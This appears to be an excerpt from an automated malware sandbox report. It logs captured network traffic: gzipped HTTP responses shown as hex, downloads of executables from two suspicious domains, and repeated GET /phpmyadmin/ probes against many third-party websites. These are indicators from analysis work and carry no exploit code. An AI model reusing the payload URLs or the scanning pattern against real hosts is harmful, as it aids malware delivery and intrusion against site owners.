fb 5d b4 b0 94 9a 7c ac 0c ad 29 89 eb c9 9d 59 ce 8e 56 13 ca d4 bb d4 cc d5 e4 d6 74 fa cd e3 f4 db ab e9 e5 95 13 d9 46 68 ee 71 6a 63 57 79 b3 99 5e eb 4b 6e cd a0 89 e9 e4 fa 30 1a eb 43 0b 33 c9 f5 a7 27 94 e1 ee e4 e6 62 6a 7c 15 ea e5 fa 79 3f af bc 78 88 b6 12 68 6e 15 6d 75 a3 a5 6b c9 8d 81 f4 f5 c5 e4 fa cc 89 f4 f2 13 34 de 8b 6e 0d 24 d7 c7 53 e3 4f d0 f2 3b e0 8f 32 fb 06 c0 01 06 ca dc 06 f4 91 de 9d 4d 3f 18 55 5e cd 67 ba 67 fe de dd 4b 53 8c 37 9f cc 8b 42 57 a7 18 0b 48 45 68 3c 51 8d 20 34 c8 e7 ce 7e f7 ef 54 47 4c 68 f3 d0 4c 30 dc ee 0b 75 31 d1 b8 2f 14 f4 5b fc 12 f4 21 83 2c 3c aa 08 e0 96 8a 09 21 8f 24 77 85 04 a9 43 10 64 dc 9c c9 6a 42 e3 f7 cd 7f f6 36 fc c1 6c 76 72 3e 87 cb 2f 58 ad 01 96 75 db fd 6e b3 d9 db 40 04 43 80 11 81 5e e0 2f f3 e4 29 4d 49 31 bf 87 fe f2 a8 bb fe d4 97 47 59 ab 15 ff 65 1d f0 d7 8e 1f b8 5d a7 72 45 0e 5d 05 fc c4 ee 54 1f 38 b5 16 b4 b7 81 21 30 55 44 98 22 98 60 95 e5 7d 21 81 ea 0c 06 e4 0e 0f ed ae b7 d2 54 87 10 6c ef 00 36 3a e1 da 07 ac 15 62 1e 1a 2e f9 50 b0 3d e2 a1 fd c0 62 21 06 dc 16 42 a1 28 1f 08 04 23 ed 6a 31 be 97 a2 bc 5f bb 07 d0 14 d5 20 c7 d4 6f 7c 15 c8 f6 61 77 43 69 03 f0 96 10 aa 72 b9 4b 62 64 31 ca 5a da 83 6d 74 ae 1e 6b c0 85 01 7a e4 40 11 80 ae 3d ec 62 b8 3a ad d5 c1 b5 f2 a8 b3 7e 51 92 ba 4a c8 c9 c2 8c e9 ee 08 26 59 a0 9c 8b d6 23 a9 16 33 79 f5 cb b5 b6 71 a5 e8 d0 ea f2 9a 66 1e a5 29 31 d2 04 4a 79 11 d4 a7 23 28 59 54 25 b4 f8 84 0e fe 72 50 8c 79 4c f1 58 a8 ee 68 40 68 e3 e3 21 f9 68 87 18 16 a2 7c bb 70 cc 74 8a 54 16 e4 6f e0 d1 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/x-frame-options: SAMEORIGINset-cookie: tk_ai=jetpack%3AgqEV9WeBEjleJhj2YUqQ71%2F4set-cookie: tk_ai=jetpack%3AgqEV9WeBEjleJhj2YUqQ71%2F4content-length: 2078content-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:38 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 6d 6f db 38 12 fe ec fc 0a 56 07 d7 09 b0 92 62 25 b9 b6 1b c9 8b 24 4d 7b 39 b4 97 a0 2f 58 2c 16 85 41 53 63 89 0d 45 aa 24 65 c7 d7 eb 7f 3f f0 45 b6 94 e4 da 64 9b ee 02 f7 c5 0a 87 9c b7 67 86 c3 21 93 3e 7a 7e 7e f2 ee b7 8b 53 54 ea 8a 4d b6 06 e9 a3 30 fc 9d ce d1 d9 29 7a fa 61 b2 35 18 a4 66 02 5d 55 8c ab 2c 28 b5 ae 7f 8e e3 e5 72 19 2d f7 22 21 8b 78 fc ec d9 b3 f8 ca ac 09 10 61 58 a9 2c a0 f0 34 40 0c f3 22 0b 80 87 2f 8f 03 2b f6 77 e0 39 9d 7f 08 c3 8e 92 47 db 46 cd 0e fa 30 31 6a ef a9 ed 86 86 30 4c 1f f5 b4 94 80 73 a3 ad 02 8d 91 31 3d 84 4f 0d 5d 64 c1 89 e0 1a b8 0e df ad 6a 08 10 71 a3 2c d0 70 a5 63 e3 ca 21 22 25 96 0a 74 f6 fe dd 8b f0 69 80 62 23 46 53 cd 60 f2 4a 14 e8 8c a3 c7 4c e1 4f 8d 38 44 af 5f 1e ff f6 fa e8 e5 db e8 e4 fc 35 3a 7f f1 e2 ec e4 ec e8 15 fa 0f 82 2b c2 1a 45 17 80 18 60 5d 82 44 33 5c 28 f4 f8 6f 4f 93 71 72 88 7e 15 32 bf 90 a0 54 1a 3b b9 5b 83 94 51 7e 89 24 b0 6c 94 73 15 d6 12 e6 a0 49 39 42 a5 84 79 36 8a 63 15 2d 0d e6 23 63 8e 01 8c 27 44 a9 30 9c a4 8a 48 5a 6b a4 57 35 64 23 eb c5 47 bc c0 8e 3a 42 4a 92 6c d4 89 5c 55 cc 56 15 2e 54 44 44 15 2f eb 90 72 c2 9a 1c 54 fc 51 c5 1f 3f 35 20 57 fe 13 7d 54 bf 2c 40 66 e3 68 9c 44 fb e1 b2 1e 4d d2 d8 49 9d 6c fd 28 a5 61 45 0b 89 35 44 15 e5 1b 03 f6 a3 f1 03 2a f7 11 8f 6b d6 14 94 ab 18 b0 5a 85 4a 10 8a 59 48 89 e0 16 0a c2 95 da 18 b0 db 53 bf 89 94 d2 2b 06 aa 04 d0 23 44 f3 6c 64 b8 a6 73 c1 f5 14 2f 41 89 0a a6 26 46 44 a9 11 f2 71 fc 4a 24 be 6d 17 51 2a 36 d2 43 2f 3d 36 04 cc 98 45 8b 28 17 af 83 e8 49 94 8c ba e9 60 f5 57 90 53 9c 8d 30 63 2e 83 ee e3 c4 62 7f aa 4a 5a fd 68 4f 16 fb a1 55 f3 03 dc 79 f0 30 d8 fc 68 21 1f 47 bb df 03 78 8e 55 69 13 ef ae 99 b2 de b3 26 fe 6b ee 6b b0 25 d1 f8 e9 f7 58 35 6b b4 16 fc ce 31 ef d9 e4 79 1f d8 a2 b9 90 77 cf 41 9c 57 94 db 0d 62 d9 1e d8 14 36 de e5 77 8d d6 c6 12 c3 f5 d0 86 88 82 fe 11 4b 0c db 1f 31 c5 9f a7 1c 57 90 8d a4 98 09 ad 46 eb 33 74 c4 05 e5 39 5c fd c4 05 96 a4 a4 0b b0 b5 a6 cf 03 73 90 12 64 87 4b 69 49 89 0e 85 a4 c6 97 65 09 3c 24 52 28 e5 29 4e 46 57 Data Ascii: Ymo8Vb%$M{9/X,AScE$e?Edg!>z~~STM0)za5f]U,(r-"!xaX,4@"/+w9GF01j0Ls1=O]djq,pc!"%tib#FS`JLO8D_5:+E
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/x-frame-options: SAMEORIGINcontent-length: 2053content-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:40 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 6d 6f db 38 12 fe ec fc 0a 56 07 57 09 b0 b2 62 25 b9 b6 17 c9 8b 24 7d d9 1c da 6b b0 6d b1 58 2c 16 06 4d 8d 25 36 14 a9 92 94 15 5f af ff fd c0 17 d9 52 92 6b da 6d ba 0b dc 17 db 9a e1 bc 3d 33 1c 0e e5 f4 c1 d3 d7 67 6f 7f bd 78 86 4a 5d b1 d9 ce 28 7d 10 45 bf d1 25 3a 7f 86 1e ff 3e db 19 8d 52 c3 40 57 15 e3 2a 0b 4a ad eb 7f c4 71 db b6 93 f6 60 22 64 11 4f 9f 3c 79 12 5f 99 35 01 22 0c 2b 95 05 14 1e 07 88 61 5e 64 01 f0 e8 c5 69 60 d5 fe 06 3c a7 cb df a3 a8 67 e4 c1 ae 31 b3 87 7e 9f 19 b3 5f 69 ed 86 85 28 4a 1f 0c ac 94 80 73 63 ad 02 8d 91 71 3d 82 0f 0d 5d 65 c1 99 e0 1a b8 8e de ae 6b 08 10 71 4f 59 a0 e1 4a c7 26 94 63 44 4a 2c 15 e8 ec dd db e7 d1 e3 00 c5 46 8d a6 9a c1 ec a5 28 d0 39 47 0f 99 c2 1f 1a 71 8c 5e bd 38 fd f5 d5 c9 8b 37 93 b3 d7 af d0 eb e7 cf cf cf ce 4f 5e a2 ff 20 b8 22 ac 51 74 05 88 01 d6 25 48 b4 c0 85 42 0f ff f6 38 99 26 c7 e8 17 21 f3 0b 09 4a a5 b1 d3 bb 33 4a 19 e5 97 48 02 cb c2 9c ab a8 96 b0 04 4d ca 10 95 12 96 59 e8 60 af 8a c5 ba c2 85 9a 10 51 85 c6 af 3b a5 d4 a4 35 99 72 8b 1f 44 11 4f 88 52 51 34 4b 15 91 b4 d6 48 af 6b c8 42 1b fb 7b bc c2 8e 1a 22 25 49 16 f6 f2 dd 37 1c b7 75 44 39 61 4d 0e 2a 7e af e2 f7 1f 1a 90 6b ff 35 79 af 7e 5c 81 cc a6 93 69 32 39 8c da 3a 9c a5 b1 d3 3a db f9 5e 46 a3 8a 16 12 6b 98 54 94 6f 1d 38 9c 4c ef d1 b8 af 93 b8 66 4d 41 b9 8a 01 ab 75 a4 04 a1 98 45 94 08 6e a1 20 5c a9 ad 03 fb 03 f3 db fc 2a bd 66 a0 4a 00 1d 22 9a 67 a1 91 9a 2f 05 d7 73 dc 82 12 15 cc 4d 8e 88 52 21 f2 d9 ff 4c 26 ee f6 8b 28 15 1b ed 91 d7 1e 1b 02 66 cc a2 45 94 cb d7 d1 e4 d1 24 09 fb e5 60 ed 57 90 53 9c 85 98 b1 eb e5 76 77 10 ab c3 b9 2a 69 f5 bd 23 59 1d 46 d6 cc 77 08 e7 de d3 60 eb a3 83 7c 3a d9 ff 16 c0 73 ac 4a 5b 78 5f 5a 29 9b 3d 6b f2 bf 91 be 06 5b 32 99 3e fe 16 af 16 8d d6 82 7f 71 ce 07 3e 79 d9 7b f6 68 29 e4 97 d7 20 ce 2b ca ed 06 b1 62 f7 ec 0a 9b ee f3 2f cd d6 d6 13 23 75 df 8e 88 82 fe 11 4f 8c d8 1f 71 c5 9f c2 1c 57 90 85 52 2c 84 56 e1 e6 e4 0d b9 a0 3c 87 ab 1f b8 c0 92 94 74 05 b6 d7 0c 65 60 09 52 82 ec 49 29 2d 29 d1 91 90 d4 c4 d2 96 c0 23 22 85 52 9e e2 74 f4 95 04 2b 0a 6d 2d a4 ee 1d fa 2d cd 75 99 e5 b0 a2 04 22 fb e0 8e fb 51 1a 77 f3 c3 42 e4 eb 6e b8 61 06 00 64 3f 23 4c 34 15 3c 72 a4 b6 8e 88 90 10 35 14 21 26 08 66 10 01 8f 8a 85 99 7e 46 69 4e 57 a6 d1 07 76 ad 23 95 d3 59 8a 5d 77 b7 73 95 32 83 95 90 79 6d a6 02 3b 5b 05 b3 0b d1 82 84 1c 2d d6 fd 81 01 Data Ascii: Ymo8VWb%$}kmX,M%6_R
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:12:39 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6117Content-Type: /;charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3d 69 73 db 46 96 9f 9d aa fc 07 0c 5c 09 e5 b2 49 10 e0 21 d2 16 99 b5 0e 27 9e 75 12 ef 44 d9 9d a9 ec 54 0a 24 21 89 36 49 d0 24 28 59 bb b3 55 3a ac d3 92 68 d9 b2 25 4b b2 65 c7 92 e5 4b 87 4f c9 3a 7f cc b0 41 f2 53 fe c2 be 46 83 24 08 1e 22 65 79 26 19 93 71 44 00 dd fd fa 5d fd de eb d7 60 77 c3 1f 9a bf 6f 6a fd cb c5 16 aa 43 0a 06 a8 8b 3f 36 5e 38 df 44 d1 46 86 f9 2f 4b 13 c3 34 b7 36 53 7f fe a6 f5 db 0b 14 6b 32 53 ad 11 3e 14 f5 4b 7e 31 c4 07 18 a6 e5 3b 9a a2 3b 24 29 7c 9a 61 ba ba ba 4c 5d 16 93 18 69 67 5a ff c4 5c c5 b0 58 dc 58 bd 34 4a 9a 96 26 9f e4 a3 dd 9f 7f d6 a0 f4 78 35 18 08 45 5d 45 e0 b0 4e a7 93 34 27 95 05 de 87 bf 25 bf 14 10 dc 68 7c 1a ad 3e e7 1c bf ee 0c 27 36 57 d0 dc ee af 3b 23 c9 e5 49 79 b4 47 9e 1f 49 df bd 81 06 5e a0 f8 26 5a 9d 49 ee 4e 36 30 a4 0d 34 fe b6 a5 f5 2c 85 bb 32 0a 57 62 fe 4e 57 93 18 92 84 90 64 6c ed 0e 0b 94 97 dc b8 68 49 b8 2a 31 b8 e3 33 94 b7 83 8f 44 05 c9 15 93 da 8c 0e da 4d 01 8c a0 20 f1 54 88 0f 0a 2e da 27 44 bd 11 7f 18 93 45 e7 9a 67 70 4b 6c 6e a1 f7 fb 68 71 39 39 f5 44 1e de 90 e3 37 12 7b 73 9c 15 ad c7 e5 e9 77 c9 d9 6b 89 9d 99 d4 9b 27 a9 b7 d7 52 ab 6b a7 32 8d d0 fc 93 e4 d6 be fc 66 3b b5 d1 9f d8 99 45 93 33 89 cd 11 34 de 8f 16 67 13 9b cf 4e c9 23 3d 89 ed a5 e4 c4 3a d4 cb f6 f3 7e 41 5e 79 84 76 e2 68 7e 1d ed f4 a0 e5 eb 89 ad c1 d4 8d a5 c4 e6 ec a9 d4 ea 53 34 d1 87 6e 0f 26 36 27 92 13 4f d1 ea 3b e0 8f 3c f7 06 c0 01 06 f2 fc 16 f4 91 da 9f 4b 3d 1c 93 5f 2d a4 7b 66 ff de d3 47 53 8c 3b 9f cc cb 42 77 97 18 f1 45 8b d0 78 aa 1a 41 a8 90 2f 9c ff ee df a9 8e 88 d0 e6 a2 19 7f b0 dd 13 e8 66 c2 31 4f c0 ef 35 79 a3 d0 87 04 b2 70 29 22 80 5b 2a 22 04 5c 51 a9 3b 20 44 3b 04 41 c2 cd 99 8c 26 34 7e df fc 17 77 c3 1f 8c 46 3b e7 b1 39 bc 82 d9 ec 63 59 a7 d5 eb 34 1a dd 0d 44 30 04 18 11 e8 25 be 93 27 4f 69 2a 1a f1 ba e8 2f 8f 3b eb cf 7c 79 9c 35 9b f1 5f d6 06 7f ad f8 81 d3 71 26 5b 64 d3 54 c0 4f ac 76 e5 81 5d 6d 41 bb 1b 18 02 53 41 84 29 82 09 56 59 de 13 10 a8 2e bf 4f ea 70 d1 ce 7a 33 4d 75 08 fe f6 0e 60 a3 1d ae 3d c0 5a 21 e2 a2 e1 92 0f f8 db 43 2e da 0b 2c 16 22 c0 6d 21 10 08 f3 3e 9f 3f d4 ae 14 e3 fb 68 98 f7 aa f7 00 9a a2 1a a4 88 f2 8d af 7c 99 3e ac 4e 28 6d 00 de 12 42 15 2e 77 47 19 49 0c b3 a6 76 7f 1b 9d ad c7 ea 70 61 80 1e c9 57 04 a0 23 87 5d 04 57 a7 d5 3a b8 56 1e 75 e6 2f 4a 52 57 09 39 19 98 11 cd 1d c1 24 03 94 73 d0 5a 24 95 62 26 af 7e b9 d6 16 ae 14 1d 6a 5d 5e d5 cc e3 34 25 86 9a 40 29 2f 83 fa 74 f8 a3 26 45 09 4d 1e a1 83 ef f4 8b 11 97 21 16 09 d4 1d f7 09 6d 7c 2c 20 1d ef 10 83 42 98 6f 17 4e 18 ce 90 ca 82 f4 0d 3c ba
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-transform, no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/x-frame-options: SAMEORIGINset-cookie: tk_ai=jetpack%3AlwfOS%2F%2FYHZtFleTkvxOal0p8set-cookie: tk_ai=jetpack%3AlwfOS%2F%2FYHZtFleTkvxOal0p8content-length: 2077content-encoding: gzipvary: Accept-Encoding,User-Agentdate: Wed, 20 Dec 2023 02:13:41 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 6d 6f db 38 12 fe ec fc 0a 56 07 d7 09 b0 b2 62 25 b9 b6 1b c9 8b 24 4d 7b 39 b4 97 a0 2f 58 2c 16 85 41 53 63 89 0d 45 aa 24 65 c5 d7 eb 7f 3f f0 45 b6 94 e4 da 64 9b ee 02 f7 c5 0a 87 9c b7 67 86 c3 21 93 3c 7a 7e 7e f2 ee b7 8b 53 54 e8 92 4d b7 06 c9 a3 30 fc 9d 2e d0 d9 29 7a fa 61 ba 35 18 24 66 02 5d 95 8c ab 34 28 b4 ae 7e 8e a2 a6 69 c6 cd de 58 c8 3c 9a 3c 7b f6 2c ba 32 6b 02 44 18 56 2a 0d 28 3c 0d 10 c3 3c 4f 03 e0 e1 cb e3 c0 8a fd 1d 78 46 17 1f c2 b0 a3 e4 d1 b6 51 b3 83 3e 4c 8d da 7b 6a bb a1 21 0c 93 47 3d 2d 05 e0 cc 68 2b 41 63 64 4c 0f e1 53 4d 97 69 70 22 b8 06 ae c3 77 ab 0a 02 44 dc 28 0d 34 5c e9 c8 b8 72 88 48 81 a5 02 9d be 7f f7 22 7c 1a a0 c8 88 d1 54 33 98 be 12 39 3a e3 e8 31 53 f8 53 2d 0e d1 eb 97 c7 bf bd 3e 7a f9 76 7c 72 fe 1a 9d bf 78 71 76 72 76 f4 0a fd 07 c1 15 61 b5 a2 4b 40 0c b0 2e 40 a2 39 ce 15 7a fc b7 a7 f1 24 3e 44 bf 0a 99 5d 48 50 2a 89 9c dc ad 41 c2 28 bf 44 12 58 3a ca b8 0a 2b 09 0b d0 a4 18 a1 42 c2 22 1d 45 91 1a 37 06 f3 91 31 c7 00 c6 63 a2 54 18 4e 13 45 24 ad 34 d2 ab 0a d2 91 f5 e2 23 5e 62 47 1d 21 25 49 3a ea 44 ae cc e7 ab 12 e7 6a 4c 44 19 35 55 48 39 61 75 06 2a fa a8 a2 8f 9f 6a 90 2b ff 19 7f 54 bf 2c 41 a6 93 f1 24 1e ef 87 4d 35 9a 26 91 93 3a dd fa 51 4a c3 92 e6 12 6b 18 97 94 6f 0c d8 1f 4f 1e 50 b9 8f 78 54 b1 3a a7 5c 45 80 d5 2a 54 82 50 cc 42 4a 04 b7 50 10 ae d4 c6 80 dd 9e fa 4d a4 94 5e 31 50 05 80 1e 21 9a a5 23 c3 35 5b 08 ae 67 b8 01 25 4a 98 99 18 11 a5 46 c8 c7 f1 2b 91 f8 b6 5d 44 a9 c8 48 0f bd f4 c8 10 30 63 16 2d a2 5c bc 0e c6 4f c6 f1 a8 9b 0e 56 7f 09 19 c5 e9 08 33 e6 32 e8 3e 4e 2c f7 67 aa a0 e5 8f f6 64 b9 1f 5a 35 3f c0 9d 07 0f 83 cd 8f 16 f2 c9 78 f7 7b 00 cf b0 2a 6c e2 dd 35 53 d6 7b d6 c4 7f cd 7d 0d b6 78 3c 79 fa 3d 56 cd 6b ad 05 bf 73 cc 7b 36 79 de 07 b6 68 21 e4 dd 73 10 67 25 e5 76 83 58 b6 07 36 85 4d 76 f9 5d a3 b5 b1 c4 70 3d b4 21 22 a7 7f c4 12 c3 f6 47 4c f1 e7 29 c7 25 a4 23 29 e6 42 ab d1 fa 0c 1d 71 41 79 06 57 3f 71 81 25 29 e8 12 6c ad e9 f3 c0 02 a4 04 d9 e1 52 5a 52 a2 43 21 a9 f1 a5 29 80 87 44 0a a5 Data Ascii: Ymo8Vb%$M{9/X,AScE$e?Edg!<z~~STM0.)za5$f]4(~iX<<{,2kDV*(<<OxFQ>L{j!G=-h+AcdLSMip"wD(4\rH"\|T39:1SS->zv\|rxqvrvaK@.@9
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:12:39 GMTServer: ApacheExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6092Content-Type: /;charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3d 69 77 13 47 b6 9f c9 39 f9 0f 3d cd 49 64 0e 58 ad 6e 2d 96 c0 52 06 2f 4c c8 23 09 6f e2 bc 37 73 f2 e6 e4 b4 a4 b6 25 90 d4 42 6a d9 78 5e de 39 5e f0 8a 6d 61 30 d8 d8 26 86 60 63 36 2f ac 36 5e 7f cc a8 5a d2 a7 fc 85 77 ab ab 25 b5 5a 8b 25 63 66 92 41 0a 91 bb bb aa 6e dd ad ee bd 75 ab 55 d5 f8 87 96 6f 9b db fe 7a b1 95 f2 49 c1 00 75 f1 fb a6 0b e7 9b 29 ba 9e 61 fe db dc cc 30 2d 6d 2d d4 5f be 6c fb fa 02 c5 1a 4d 54 5b 84 0f 45 fd 92 5f 0c f1 01 86 69 fd 86 a6 68 9f 24 85 4f 33 4c 57 57 97 b1 cb 6c 14 23 1d 4c db 9f 99 ab 18 16 8b 1b ab 97 f5 92 a6 a5 d1 2b 79 69 d7 a7 9f 34 2a 3d 5e 0d 06 42 51 67 11 38 ac c3 e1 20 cd 49 65 81 f7 e2 bf 92 5f 0a 08 2e 34 3e 8d 56 9f 71 f6 5f 77 86 13 9b 2b 68 6e f7 d7 9d 91 e4 f2 a4 3c da 23 cf 8f a4 ef de 40 03 cf 51 7c 13 ad ce 24 77 27 1b 19 d2 06 1a 7f dd da 76 96 c2 5d d5 0b 57 62 fe 4e 67 b3 18 92 84 90 54 df d6 1d 16 28 0f b9 71 d2 92 70 55 62 70 c7 67 28 8f 8f 8f 44 05 c9 19 93 da eb ed b4 8b 02 18 41 41 e2 a9 10 1f 14 9c b4 57 88 7a 22 fe 30 26 8b ce 35 cf e0 96 d8 dc 42 ef f6 d1 e2 72 72 ea b1 3c bc 21 c7 6f 24 f6 e6 38 0b 5a 8f cb d3 6f 93 b3 d7 12 3b 33 a9 d7 8f 53 6f ae a5 56 d7 4e 65 1a a1 f9 c7 c9 ad 7d f9 f5 76 6a a3 3f b1 33 8b 26 67 12 9b 23 68 bc 1f 2d ce 26 36 9f 9e 92 47 7a 12 db 4b c9 89 75 a8 97 ed e7 dd 82 bc f2 10 ed c4 d1 fc 3a da e9 41 cb d7 13 5b 83 a9 1b 4b 89 cd d9 53 a9 d5 27 68 a2 0f dd 1e 4c 6c 4e 24 27 9e a0 d5 b7 c0 1f 79 ee 35 80 03 0c e4 f9 2d e8 23 b5 3f 97 7a 30 26 bf 5c 48 f7 cc fe a3 a7 8f a6 18 57 3e 99 97 85 ee 2e 31 e2 8d 16 a1 f1 54 35 82 50 21 5f 38 ff cd 7f 50 be 88 d0 ee a4 19 7f b0 c3 1d e8 66 c2 31 77 c0 ef 31 7a a2 d0 87 04 b2 70 2a 22 80 5b 2a 22 04 9c 51 a9 3b 20 44 7d 82 20 e1 e6 4c 46 13 9a be 6d f9 ab ab f1 0f f5 f5 36 ce 6d b5 7b 04 93 c9 cb b2 0e 8b c7 51 5f ef 6a 24 82 21 c0 88 40 2f f1 9d 3c 79 4a 53 d1 88 c7 49 7f 7e dc d1 70 e6 f3 e3 ac c9 84 bf 59 2b 7c 5b f0 03 87 fd 4c b6 c8 aa a9 80 9f 58 6c ca 03 9b da 82 76 35 32 04 a6 82 08 53 04 13 ac b2 bc 3b 20 50 5d 7e af e4 73 d2 8e 06 13 4d f9 04 7f 87 0f d8 68 83 6b 37 b0 56 88 38 69 b8 e4 03 fe 8e 90 93 f6 00 8b 85 08 70 5b 08 04 c2 bc d7 eb 0f 75 28 c5 f8 3e 1a e6 3d ea 3d 80 a6 a8 46 29 a2 fc c5 57 de 4c 1f 16 07 94 36 02 6f 09 a1 0a 97 bb a3 8c 24 86 59 63 87 bf 9d ce d6 63 75 b8 30 40 8f e4 2d 02 d0 9e c3 2e 82 ab d3 6a 1d 5c 2b 8f 3a d3 67 25 a9 ab 84 9c 0c cc 88 e6 8e 60 92 01 ca d9 69 2d 92 4a 31 93 57 bf 5c 6b 33 57 8a 0e b5 2e af 6a e6 71 9a 12 43 cd a0 94 97 41 7d 7c fe a8 51 51 42 a3 5b f0 f1 9d 7e 31 e2 34 c4 22 81 ba e3 5e a1 9d 8f 05 a4 e3 3e 31 28 84 f9 0e e1 84 e1 0c a9 2c 48 5f c2 a3 8b

Source: global traffic	HTTP traffic detected: GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shpilliwilli.com
Source: global traffic	HTTP traffic detected: GET /adfd12facbab1624fbcfd2459c3f5e1a/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: linkofstrumble.com
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: micresearch.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: conalcorp.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: eb-concept.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: jgarch.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: onjevilla.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: schelberg.netAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
